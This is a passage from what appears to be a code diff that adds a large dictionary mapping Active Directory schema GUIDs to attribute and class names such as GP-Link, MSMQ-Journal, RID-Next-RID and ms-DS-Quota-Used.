'ACS-Max-Duration-Per-Flow', + 'f30e3bbe-9ff0-11d1-b603-0000f80367c1': 'GP-Link', + 'fbb9a00d-3a8c-4233-9cf9-7189264903a1': 'ms-DS-Quota-Amount', + '99b88f52-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Interval2', + 'bf967a21-0de6-11d0-a285-00aa003049e2': 'Revision', + 'a68359dc-a581-4ee6-9015-5382c60f0fb4': 'ms-DFSR-OnDemandExclusionFileFilter', + 'bf967aac-0de6-11d0-a285-00aa003049e2': 'rpc-Entry', + 'afa58eed-a698-417e-9f56-fad54252c5f4': 'ms-Org-Leaders-BL', + 'f0722310-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-No-Of-Account-Files', + 'f30e3bbf-9ff0-11d1-b603-0000f80367c1': 'GP-Options', + '6655b152-101c-48b4-b347-e1fcebc60157': 'ms-DS-Quota-Effective', + '9a0dc321-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Journal', + 'bf967a22-0de6-11d0-a285-00aa003049e2': 'Rid', + '7d523aff-9012-49b2-9925-f922a0018656': 'ms-DFSR-OnDemandExclusionDirectoryFilter', + '66d51249-3355-4c1f-b24e-81f252aca23b': 'Dynamic-Object', + '1cb3559c-56d0-11d1-a9c6-0000f80367c1': 'ACS-Max-No-Of-Log-Files', + 'f30e3bc1-9ff0-11d1-b603-0000f80367c1': 'GPC-File-Sys-Path', + '16378906-4ea5-49be-a8d1-bfd41dff4f65': 'ms-DS-Quota-Trustee', + '9a0dc324-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Journal-Quota', + '66171889-8f3c-11d0-afda-00c04fd930c9': 'RID-Allocation-Pool', + '11e24318-4ca6-4f49-9afe-e5eb1afa3473': 'ms-DFSR-Options2', + '88611bdf-8cf4-11d0-afda-00c04fd930c9': 'rpc-Group', + '7f561284-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Peak-Bandwidth', + 'f30e3bc0-9ff0-11d1-b603-0000f80367c1': 'GPC-Functionality-Version', + 'b5a84308-615d-4bb7-b05f-2f1746aa439f': 'ms-DS-Quota-Used', + '9a0dc325-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Label', + '66171888-8f3c-11d0-afda-00c04fd930c9': 'RID-Available-Pool', + '936eac41-d257-4bb9-bd55-f310a3cf09ad': 'ms-DFSR-CommonStagingPath', + 'dd712229-10e4-11d0-a05f-00aa006c33ed': 'File-Link-Tracking', + '7f56127c-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Peak-Bandwidth-Per-Flow', + '32ff8ecc-783f-11d2-9916-0000f87a57d4': 'GPC-Machine-Extension-Names', + '8a167ce4-f9e8-47eb-8d78-f7fe80abb2cc': 'ms-DS-NC-Repl-Cursors', + '4580ad25-d407-48d2-ad24-43e6e56793d7': 'MSMQ-Label-Ex', + '66171886-8f3c-11d0-afda-00c04fd930c9': 'RID-Manager-Reference', + '135eb00e-4846-458b-8ea2-a37559afd405': 'ms-DFSR-CommonStagingSizeInMb', + '88611be1-8cf4-11d0-afda-00c04fd930c9': 'rpc-Profile', + 'f0722311-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-Size-Of-RSVP-Account-File', + '42a75fc6-783f-11d2-9916-0000f87a57d4': 'GPC-User-Extension-Names', + '9edba85a-3e9e-431b-9b1a-a5b6e9eda796': 'ms-DS-NC-Repl-Inbound-Neighbors', + '9a0dc335-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Long-Lived', + '6617188c-8f3c-11d0-afda-00c04fd930c9': 'RID-Next-RID', + 'd64b9c23-e1fa-467b-b317-6964d744d633': 'ms-DFSR-StagingCleanupTriggerInPercent', + '8e4eb2ed-4712-11d0-a1a0-00c04fd930c9': 'File-Link-Tracking-Entry', + '1cb3559d-56d0-11d1-a9c6-0000f80367c1': 'ACS-Max-Size-Of-RSVP-Log-File', + '7bd4c7a6-1add-4436-8c04-3999a880154c': 'GPC-WQL-Filter', + '855f2ef5-a1c5-4cc4-ba6d-32522848b61f': 'ms-DS-NC-Repl-Outbound-Neighbors', + '9a0dc33f-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Migrated', + '6617188a-8f3c-11d0-afda-00c04fd930c9': 'RID-Previous-Allocation-Pool', + 'b786cec9-61fd-4523-b2c1-5ceb3860bb32': 'ms-DFS-Comment-v2', + 'f29653cf-7ad0-11d0-afd6-00c04fd930c9': 'rpc-Profile-Element', + '81f6e0df-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Max-Token-Bucket-Per-Flow', + 'bf96797e-0de6-11d0-a285-00aa003049e2': 'Group-Attributes', + '97de9615-b537-46bc-ac0f-10720f3909f3': 'ms-DS-NC-Replica-Locations', + '1d2f4412-f10d-4337-9b48-6e5b125cd265': 'MSMQ-Multicast-Address', + '7bfdcb7b-4807-11d1-a9c3-0000f80367c1': 'RID-Set-References', + '35b8b3d9-c58f-43d6-930e-5040f2f1a781': 'ms-DFS-Generation-GUID-v2', + '89e31c12-8530-11d0-afda-00c04fd930c9': 'Foreign-Security-Principal', + '7f56127b-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Token-Rate-Per-Flow', + 'bf967980-0de6-11d0-a285-00aa003049e2': 'Group-Membership-SAM', + '3df793df-9858-4417-a701-735a1ecebf74': 'ms-DS-NC-RO-Replica-Locations', + '9a0dc333-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Name-Style', + '6617188b-8f3c-11d0-afda-00c04fd930c9': 'RID-Used-Pool', + '3c095e8a-314e-465b-83f5-ab8277bcf29b': 'ms-DFS-Last-Modified-v2', + '88611be0-8cf4-11d0-afda-00c04fd930c9': 'rpc-Server', + '87a2d8f9-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Maximum-SDU-Size', + 'eea65905-8ac6-11d0-afda-00c04fd930c9': 'Group-Priority', + 'f547511c-5b2a-44cc-8358-992a88258164': 'ms-DS-NC-RO-Replica-Locations-BL', + 'eb38a158-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Nt4-Flags', + '8297931c-86d3-11d0-afda-00c04fd930c9': 'Rights-Guid', + 'edb027f3-5726-4dee-8d4e-dbf07e1ad1f1': 'ms-DFS-Link-Identity-GUID-v2', + 'c498f152-dc6b-474a-9f52-7cdba3d7d351': 'friendlyCountry', + '9c65329b-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Delay-Variation', + '9a9a021e-4a5b-11d1-a9c3-0000f80367c1': 'Group-Type', + '2de144fc-1f52-486f-bdf4-16fcc3084e54': 'ms-DS-Non-Security-Group-Extra-Classes', + '6f914be6-d57e-11d1-90a2-00c04fd91ab1': 'MSMQ-Nt4-Stub', + 'a8df7465-c5ea-11d1-bbcb-0080c76670c0': 'Role-Occupant', + '86b021f6-10ab-40a2-a252-1dc0cc3be6a9': 'ms-DFS-Link-Path-v2', + 'f29653d0-7ad0-11d0-afd6-00c04fd930c9': 'rpc-Server-Element', + '9517fefb-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Latency', + 'eea65904-8ac6-11d0-afda-00c04fd930c9': 'Groups-to-Ignore', + 'd161adf0-ca24-4993-a3aa-8b2c981302e8': 'MS-DS-Per-User-Trust-Quota', + '9a0dc330-c100-11d1-bbc5-0080c76670c0': 'MSMQ-OS-Type', + '81d7f8c2-e327-4a0d-91c6-b42d4009115f': 'roomNumber', + '57cf87f7-3426-4841-b322-02b3b6e9eba8': 'ms-DFS-Link-Security-Descriptor-v2', + '8447f9f3-1027-11d0-a05f-00aa006c33ed': 'FT-Dfs', + '8d0e7195-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Policed-Size', + 'bf967982-0de6-11d0-a285-00aa003049e2': 'Has-Master-NCs', + '8b70a6c6-50f9-4fa3-a71e-1ce03040449b': 'MS-DS-Per-User-Trust-Tombstones-Quota', + '9a0dc32b-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Out-Routing-Servers', + '7bfdcb80-4807-11d1-a9c3-0000f80367c1': 'Root-Trust', + '200432ce-ec5f-4931-a525-d7f4afe34e68': 'ms-DFS-Namespace-Identity-GUID-v2', + '2a39c5be-8960-11d1-aebc-0000f80367c1': 'RRAS-Administration-Connection-Point', + 'aec2cfe3-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Max-SDU-Size', + 'bf967981-0de6-11d0-a285-00aa003049e2': 'Has-Partial-Replica-NCs', + 'd921b50a-0ab2-42cd-87f6-09cf83a91854': 'ms-DS-Preferred-GC-Site', + '9a0dc328-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Owner-ID', + '88611bde-8cf4-11d0-afda-00c04fd930c9': 'rpc-Ns-Annotation', + '0c3e5bc5-eb0e-40f5-9b53-334e958dffdb': 'ms-DFS-Properties-v2', + 'bf967a9c-0de6-11d0-a285-00aa003049e2': 'Group', + 'b6873917-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Min-Policed-Size', + '5fd424a7-1262-11d0-a060-00aa006c33ed': 'Help-Data16', + 'd7c53242-724e-4c39-9d4c-2df8c9d66c7a': 'ms-DS-Repl-Attribute-Meta-Data', + '2df90d75-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Prev-Site-Gates', + 'bf967a23-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Bindings', + 'ec6d7855-704a-4f61-9aa6-c49a7c1d54c7': 'ms-DFS-Schema-Major-Version', + 'f39b98ae-938d-11d1-aebd-0000f80367c1': 'RRAS-Administration-Dictionary', + 'a331a73f-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Peak-Rate', + '5fd424a8-1262-11d0-a060-00aa006c33ed': 'Help-Data32', + '2f5c8145-e1bd-410b-8957-8bfa81d5acfd': 'ms-DS-Repl-Value-Meta-Data', + '9a0dc327-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Privacy-Level', + '7a0ba0e0-8e98-11d0-afda-00c04fd930c9': 'rpc-Ns-Codeset', + 'fef9a725-e8f1-43ab-bd86-6a0115ce9e38': 'ms-DFS-Schema-Minor-Version', + 'bf967a9d-0de6-11d0-a285-00aa003049e2': 'Group-Of-Names', + 'a916d7c9-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Token-Size', + '5fd424a9-1262-11d0-a060-00aa006c33ed': 'Help-File-Name', + '0ea12b84-08b3-11d3-91bc-0000f87a57d4': 'MS-DS-Replicates-NC-Reason', + '9a0dc33e-c100-11d1-bbc5-0080c76670c0': 'MSMQ-QM-ID', + '80212841-4bdc-11d1-a9c4-0000f80367c1': 'rpc-Ns-Entry-Flags', + '2d7826f0-4cf7-42e9-a039-1110e0d9ca99': 'ms-DFS-Short-Name-Link-Path-v2', + 'bf967a91-0de6-11d0-a285-00aa003049e2': 'Sam-Domain-Base', + '1cb355a2-56d0-11d1-a9c6-0000f80367c1': 'ACS-Non-Reserved-Tx-Limit', + 'ec05b750-a977-4efe-8e8d-ba6c1a6e33a8': 'Hide-From-AB', + '85abd4f4-0a89-4e49-bdec-6f35bb2562ba': 'ms-DS-Replication-Notify-First-DSA-Delay', + '8e441266-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Queue-Journal-Quota', + 'bf967a24-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Group', + '6ab126c6-fa41-4b36-809e-7ca91610d48f': 'ms-DFS-Target-List-v2', + '0310a911-93a3-4e21-a7a3-55d85ab2c48b': 'groupOfUniqueNames', + 'fe7afe45-3d14-43a7-afa7-3a1b144642af': 'ms-Mcs-AdmPwdExpirationTime', + 'f072230d-aef5-11d1-bdcf-0000f80367c1': 'ACS-Non-Reserved-Tx-Size', + 'bf967985-0de6-11d0-a285-00aa003049e2': 'Home-Directory', + 'd63db385-dd92-4b52-b1d8-0d3ecc0e86b6': 'ms-DS-Replication-Notify-Subsequent-DSA-Delay', + '2df90d87-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Queue-Name-Ext', + 'bf967a25-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Interface-ID', + 'ea944d31-864a-4349-ada5-062e2c614f5e': 'ms-DFS-Ttl-v2', + 'bf967aad-0de6-11d0-a285-00aa003049e2': 'Sam-Server', + '4c9928d7-d725-4fa6-a109-aba3ad8790e5': 'ms-Mcs-AdmPwd', + '7f561282-5301-11d1-a9c5-0000f80367c1': 'ACS-Permission-Bits', + 'bf967986-0de6-11d0-a285-00aa003049e2': 'Home-Drive', + '08e3aa79-eb1c-45b5-af7b-8f94246c8e41': 'ms-DS-ReplicationEpoch', + '3f6b8e12-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Queue-Quota', + '29401c48-7a27-11d0-afd6-00c04fd930c9': 'rpc-Ns-Object-ID', + '3ced1465-7b71-2541-8780-1e1ea6243a82': 'ms-DS-BridgeHead-Servers-Used', + 'f30e3bc2-9ff0-11d1-b603-0000f80367c1': 'Group-Policy-Container', + '1cb3559a-56d0-11d1-a9c6-0000f80367c1': 'ACS-Policy-Name', + 'a45398b7-c44a-4eb6-82d3-13c10946dbfe': 'houseIdentifier', + 'd5b35506-19d6-4d26-9afb-11357ac99b5e': 'ms-DS-Retired-Repl-NC-Signatures', + '9a0dc320-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Queue-Type', + 'bf967a27-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Priority', + '51c9f89d-4730-468d-a2b5-1d493212d17e': 'ms-DS-Is-Used-As-Resource-Security-Attribute', + 'bf967aae-0de6-11d0-a285-00aa003049e2': 'Secret', + '7f561281-5301-11d1-a9c5-0000f80367c1': 'ACS-Priority', + '6043df71-fa48-46cf-ab7c-cbd54644b22d': 'host', + 'b39a61be-ed07-4cab-9a4a-4963ed0141e1': 'ms-ds-Schema-Extensions', + '9a0dc322-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Quota', + 'bf967a28-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Profile-Entry', + '2e28edee-ed7c-453f-afe4-93bd86f2174f': 'ms-DS-Claim-Possible-Values', + '7bfdcb8a-4807-11d1-a9c3-0000f80367c1': 'Index-Server-Catalog', + 'f072230f-aef5-11d1-bdcf-0000f80367c1': 'ACS-RSVP-Account-Files-Location', + 'f0f8ff83-1191-11d0-a060-00aa006c33ed': 'Icon-Path', + '4c51e316-f628-43a5-b06b-ffb695fcb4f3': 'ms-DS-SD-Reference-Domain', + '3bfe6748-b544-485a-b067-1b310c4334bf': 'MSMQ-Recipient-FormatName', + '29401c4a-7a27-11d0-afd6-00c04fd930c9': 'rpc-Ns-Transfer-Syntax', + 'c66217b9-e48e-47f7-b7d5-6552b8afd619': 'ms-DS-Claim-Value-Type', + '4828cc14-1437-45bc-9b07-ad6f015e5f28': 'inetOrgPerson', + 'bf967aaf-0de6-11d0-a285-00aa003049e2': 'Security-Object', + '1cb3559b-56d0-11d1-a9c6-0000f80367c1': 'ACS-RSVP-Log-Files-Location', + '7d6c0e92-7e20-11d0-afd6-00c04fd930c9': 'Implemented-Categories', + '4f146ae8-a4fe-4801-a731-f51848a4f4e4': 'ms-DS-Security-Group-Extra-Classes', + '2df90d81-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Routing-Service', + '3e0abfd0-126a-11d0-a060-00aa006c33ed': 'SAM-Account-Name', + 'eebc123e-bae6-4166-9e5b-29884a8b76b0': 'ms-DS-Claim-Attribute-Source', + '7f56127f-5301-11d1-a9c5-0000f80367c1': 'ACS-Service-Type', + '7bfdcb87-4807-11d1-a9c3-0000f80367c1': 'IndexedScopes', + '0e1b47d7-40a3-4b48-8d1b-4cac0c1cdf21': 'ms-DS-Settings', + '2df90d77-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Routing-Services', + '6e7b626c-64f2-11d0-afd2-00c04fd930c9': 'SAM-Account-Type', + '6afb0e4c-d876-437c-aeb6-c3e41454c272': 'ms-DS-Claim-Type-Applies-To-Class', + '2df90d89-009f-11d2-aa4c-00c04fd7d83a': 'Infrastructure-Update', + 'bf967a92-0de6-11d0-a285-00aa003049e2': 'Server', + '7f561279-5301-11d1-a9c5-0000f80367c1': 'ACS-Time-Of-Day', + '52458023-ca6a-11d0-afff-0000f80367c1': 'Initial-Auth-Incoming', + 'c17c5602-bcb7-46f0-9656-6370ca884b72': 'ms-DS-Site-Affinity', + '8bf0221b-7a06-4d63-91f0-1499941813d3': 'MSMQ-Secured-Source', + '04d2d114-f799-4e9b-bcdc-90e8f5ba7ebe': 'SAM-Domain-Updates', + '52c8d13a-ce0b-4f57-892b-18f5a43a2400': 'ms-DS-Claim-Shares-Possible-Values-With', + '7f561280-5301-11d1-a9c5-0000f80367c1': 'ACS-Total-No-Of-Flows', + '52458024-ca6a-11d0-afff-0000f80367c1': 'Initial-Auth-Outgoing', + '789ee1eb-8c8e-4e4c-8cec-79b31b7617b5': 'ms-DS-SPN-Suffixes', + '9a0dc32d-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Service-Type', + 'dd712224-10e4-11d0-a05f-00aa006c33ed': 'Schedule', + '54d522db-ec95-48f5-9bbd-1880ebbb2180': 'ms-DS-Claim-Shares-Possible-Values-With-BL', + '07383086-91df-11d1-aebc-0000f80367c1': 'Intellimirror-Group', + 'f780acc0-56f0-11d1-a9c6-0000f80367c1': 'Servers-Container', + '7cbd59a5-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Server-List', + 'f0f8ff90-1191-11d0-a060-00aa006c33ed': 'Initials', + '35319082-8c4a-4646-9386-c2949d49894d': 'ms-DS-Tasks-For-Az-Role', + '9a0dc33d-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Services', + 'bf967a2b-0de6-11d0-a285-00aa003049e2': 'Schema-Flags-Ex', + '4d371c11-4cad-4c41-8ad2-b180ab2bd13c': 'ms-DS-Members-Of-Resource-Property-List', + '6d05fb41-246b-11d0-a9c8-00aa006c33ed': 'Additional-Information', + '96a7dd64-9118-11d1-aebc-0000f80367c1': 'Install-Ui-Level', + 'a0dcd536-5158-42fe-8c40-c00a7ad37959': 'ms-DS-Tasks-For-Az-Role-BL', + '9a0dc33b-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sign-Certificates', + 'bf967923-0de6-11d0-a285-00aa003049e2': 'Schema-ID-GUID', + '7469b704-edb0-4568-a5a5-59f4862c75a7': 'ms-DS-Members-Of-Resource-Property-List-BL', + '07383085-91df-11d1-aebc-0000f80367c1': 'Intellimirror-SCP', + 'b7b13123-b82e-11d0-afee-0000f80367c1': 'Service-Administration-Point', + '032160be-9824-11d1-aec0-0000f80367c1': 'Additional-Trusted-Service-Names', + 'bf96798c-0de6-11d0-a285-00aa003049e2': 'Instance-Type', + 'b11c8ee2-5fcd-46a7-95f0-f38333f096cf': 'ms-DS-Tasks-For-Az-Task', + '3881b8ea-da3b-11d1-90a5-00c04fd91ab1': 'MSMQ-Sign-Certificates-Mig', + 'f9fb64ae-93b4-11d2-9945-0000f87a57d4': 'Schema-Info', + 'b47f510d-6b50-47e1-b556-772c79e4ffc4': 'ms-SPP-CSVLK-Pid', + 'f0f8ff84-1191-11d0-a060-00aa006c33ed': 'Address', + 'b7c69e60-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Failover', + 'df446e52-b5fa-4ca2-a42f-13f98a526c8f': 'ms-DS-Tasks-For-Az-Task-BL', + '9a0dc332-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sign-Key', + '1e2d06b4-ac8f-11d0-afe3-00c04fd930c9': 'Schema-Update', + 'a601b091-8652-453a-b386-87ad239b7c08': 'ms-SPP-CSVLK-Partial-Product-Key', + '26d97376-6070-11d1-a9c6-0000f80367c1': 'Inter-Site-Transport', + 'bf967ab1-0de6-11d0-a285-00aa003049e2': 'Service-Class', + 'f70b6e48-06f4-11d2-aa53-00c04fd7d83a': 'Address-Book-Roots', + 'b7c69e5e-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Generator', + '2cc4b836-b63f-4940-8d23-ea7acf06af56': 'ms-DS-User-Account-Control-Computed', + '9a0dc337-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-1', + 'bf967a2c-0de6-11d0-a285-00aa003049e2': 'Schema-Version', + '9684f739-7b78-476d-8d74-31ad7692eef4': 'ms-SPP-CSVLK-Sku-Id', + '5fd42461-1262-11d0-a060-00aa006c33ed': 'Address-Entry-Display-Table', + 'b7c69e5f-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Renew', + 'add5cf10-7b09-4449-9ae6-2534148f8a72': 'ms-DS-User-Password-Expiry-Time-Computed', + '9a0dc338-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-2', + '16f3a4c2-7e79-11d2-9921-0000f87a57d4': 'Scope-Flags', + '9b663eda-3542-46d6-9df0-314025af2bac': 'ms-SPP-KMS-Ids', + '26d97375-6070-11d1-a9c6-0000f80367c1': 'Inter-Site-Transport-Container', + '28630ec1-41d5-11d1-a9c1-0000f80367c1': 'Service-Connection-Point', + '5fd42462-1262-11d0-a060-00aa006c33ed': 'Address-Entry-Display-Table-MSDOS', + 'bf96798d-0de6-11d0-a285-00aa003049e2': 'International-ISDN-Number', + '146eb639-bb9f-4fc1-a825-e29e00c77920': 'ms-DS-UpdateScript', + 'fd129d8a-d57e-11d1-90a2-00c04fd91ab1': 'MSMQ-Site-Foreign', + 'bf9679a8-0de6-11d0-a285-00aa003049e2': 'Script-Path', + '69bfb114-407b-4739-a213-c663802b3e37': 'ms-SPP-Installation-Id', + '16775781-47f3-11d1-a9c3-0000f80367c1': 'Address-Home', + 'bf96798e-0de6-11d0-a285-00aa003049e2': 'Invocation-Id', + '773e93af-d3b4-48d4-b3f9-06457602d3d0': 'ms-DS-Source-Object-DN', + '9a0dc339-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-Gates', + 'c3dbafa6-33df-11d2-98b2-0000f87a57d4': 'SD-Rights-Effective', + '6e8797c4-acda-4a49-8740-b0bd05a9b831': 'ms-SPP-Confirmation-Id', + 'b40ff825-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Base', + 'bf967ab2-0de6-11d0-a285-00aa003049e2': 'Service-Instance', + '5fd42463-1262-11d0-a060-00aa006c33ed': 'Address-Syntax', + 'b40ff81f-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Data', + '778ff5c9-6f4e-4b74-856a-d68383313910': 'ms-DS-KrbTgt-Link', + 'e2704852-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Site-Gates-Mig', + 'bf967a2d-0de6-11d0-a285-00aa003049e2': 'Search-Flags', + '098f368e-4812-48cd-afb7-a136b96807ed': 'ms-SPP-Online-License', + '5fd42464-1262-11d0-a060-00aa006c33ed': 'Address-Type', + 'b40ff81e-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Data-Type', + '185c7821-3749-443a-bd6a-288899071adb': 'ms-DS-Revealed-Users', + '9a0dc340-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-ID', + 'bf967a2e-0de6-11d0-a285-00aa003049e2': 'Search-Guide', + '67e4d912-f362-4052-8c79-42f45ba7b221': 'ms-SPP-Phone-License', + 'b40ff826-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Filter', + '5fe69b0b-e146-4f15-b0ab-c1e5d488e094': 'simpleSecurityObject', + '553fd038-f32e-11d0-b0bc-00c04fd8dca6': 'Admin-Context-Menu', + 'b40ff823-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Filter-Reference', + '1d3c2d18-42d0-4868-99fe-0eca1e6fa9f3': 'ms-DS-Has-Full-Replica-NCs', + 'ffadb4b2-de39-11d1-90a5-00c04fd91ab1': 'MSMQ-Site-Name', + '01072d9a-98ad-4a53-9744-e83e287278fb': 'secretary', + '0353c4b5-d199-40b0-b3c5-deb32fd9ec06': 'ms-SPP-Config-License', + 'bf967918-0de6-11d0-a285-00aa003049e2': 'Admin-Count', + 'b40ff81d-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ID', + '15585999-fd49-4d66-b25d-eeb96aba8174': 'ms-DS-Never-Reveal-Group', + '422144fa-c17f-4649-94d6-9731ed2784ed': 'MSMQ-Site-Name-Ex', + 'bf967a2f-0de6-11d0-a285-00aa003049e2': 'Security-Identifier', + '1075b3a1-bbaf-49d2-ae8d-c4f25c823303': 'ms-SPP-Issuance-License', + 'b40ff828-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ISAKMP-Policy', + 'bf967ab3-0de6-11d0-a285-00aa003049e2': 'Site', + 'bf967919-0de6-11d0-a285-00aa003049e2': 'Admin-Description', + 'b40ff820-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ISAKMP-Reference', + '303d9f4a-1dd6-4b38-8fc5-33afe8c988ad': 'ms-DS-Reveal-OnDemand-Group', + '9a0dc32a-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sites', + 'bf967a31-0de6-11d0-a285-00aa003049e2': 'See-Also', + '19d706eb-4d76-44a2-85d6-1c342be3be37': 'ms-TPM-Srk-Pub-Thumbprint', + 'bf96791a-0de6-11d0-a285-00aa003049e2': 'Admin-Display-Name', + 'b40ff81c-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Name', + 'aa156612-2396-467e-ad6a-28d23fdb1865': 'ms-DS-Secondary-KrbTgt-Number', + '9a0dc329-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Transactional', + 'ddac0cf2-af8f-11d0-afeb-00c04fd930c9': 'Seq-Notification', + 'c894809d-b513-4ff8-8811-f4f43f5ac7bc': 'ms-TPM-Owner-Information-Temp', + 'b40ff827-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Negotiation-Policy', + 'd50c2cde-8951-11d1-aebc-0000f80367c1': 'Site-Link', + '18f9b67d-5ac6-4b3b-97db-d0a406afb7ba': 'Admin-Multiselect-Property-Pages', + '07383075-91df-11d1-aebc-0000f80367c1': 'IPSEC-Negotiation-Policy-Action', + '94f6f2ac-c76d-4b5e-b71f-f332c3e93c22': 'ms-DS-Revealed-DSAs', + 'c58aae32-56f9-11d2-90d0-00c04fd91ab1': 'MSMQ-User-Sid', + 'bf967a32-0de6-11d0-a285-00aa003049e2': 'Serial-Number', + 'ea1b7b93-5e48-46d5-bc6c-4df4fda78a35': 'ms-TPM-Tpm-Information-For-Computer', + '52458038-ca6a-11d0-afff-0000f80367c1': 'Admin-Property-Pages', + 'b40ff822-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Negotiation-Policy-Reference', + '5dd68c41-bfdf-438b-9b5d-39d9618bf260': 'ms-DS-KrbTgt-Link-BL', + '9a0dc336-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Version', + '09dcb7a0-165f-11d0-a064-00aa006c33ed': 'Server-Name', + '14fa84c9-8ecd-4348-bc91-6d3ced472ab7': 'ms-TPM-Tpm-Information-For-Computer-BL', + 'b40ff829-427a-11d1-a9c2-0000f80367c1': 'Ipsec-NFA', + 'd50c2cdf-8951-11d1-aebc-0000f80367c1': 'Site-Link-Bridge', + '9a7ad940-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Attributes', + '07383074-91df-11d1-aebc-0000f80367c1': 'IPSEC-Negotiation-Policy-Type', + 'c8bc72e0-a6b4-48f0-94a5-fd76a88c9987': 'ms-DS-Is-Full-Replica-For', + 'db0c9085-c1f2-11d1-bbc5-0080c76670c0': 'msNPAllowDialin', + '26d9736d-6070-11d1-a9c6-0000f80367c1': 'Server-Reference', + '0be0dd3b-041a-418c-ace9-2f17d23e9d42': 'ms-DNS-Keymaster-Zones', + '9a7ad941-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Attributes-Effective', + 'b40ff821-427a-11d1-a9c2-0000f80367c1': 'Ipsec-NFA-Reference', + 'ff155a2a-44e5-4de0-8318-13a58988de4f': 'ms-DS-Is-Domain-For', + 'db0c9089-c1f2-11d1-bbc5-0080c76670c0': 'msNPCalledStationID', + '26d9736e-6070-11d1-a9c6-0000f80367c1': 'Server-Reference-BL', + 'aa12854c-d8fc-4d5e-91ca-368b8d829bee': 'ms-DNS-Is-Signed', + 'b7b13121-b82e-11d0-afee-0000f80367c1': 'Ipsec-Policy', + '7a4117da-cd67-11d0-afff-0000f80367c1': 'Sites-Container', + '9a7ad942-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Child-Classes', + 'b40ff824-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Owners-Reference', + '37c94ff6-c6d4-498f-b2f9-c6f7f8647809': 'ms-DS-Is-Partial-Replica-For', + 'db0c908a-c1f2-11d1-bbc5-0080c76670c0': 'msNPCallingStationID', + 'bf967a33-0de6-11d0-a285-00aa003049e2': 'Server-Role', + 'c79f2199-6da1-46ff-923c-1f3f800c721e': 'ms-DNS-Sign-With-NSEC3', + '9a7ad943-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Child-Classes-Effective', + 'b7b13118-b82e-11d0-afee-0000f80367c1': 'Ipsec-Policy-Reference', + 'fe01245a-341f-4556-951f-48c033a89050': 'ms-DS-Is-User-Cachable-At-Rodc', + 'db0c908e-c1f2-11d1-bbc5-0080c76670c0': 'msNPSavedCallingStationID', + 'bf967a34-0de6-11d0-a285-00aa003049e2': 'Server-State', + '7bea2088-8ce2-423c-b191-66ec506b1595': 'ms-DNS-NSEC3-OptOut', + 'bf967a9e-0de6-11d0-a285-00aa003049e2': 'Leaf', + 'bf967ab5-0de6-11d0-a285-00aa003049e2': 'Storage', + '00fbf30c-91fe-11d1-aebc-0000f80367c1': 'Alt-Security-Identities', + '00fbf30d-91fe-11d1-aebc-0000f80367c1': 'Is-Critical-System-Object', + 'cbdad11c-7fec-387b-6219-3a0627d9af81': 'ms-DS-Revealed-List', + 'db0c909c-c1f2-11d1-bbc5-0080c76670c0': 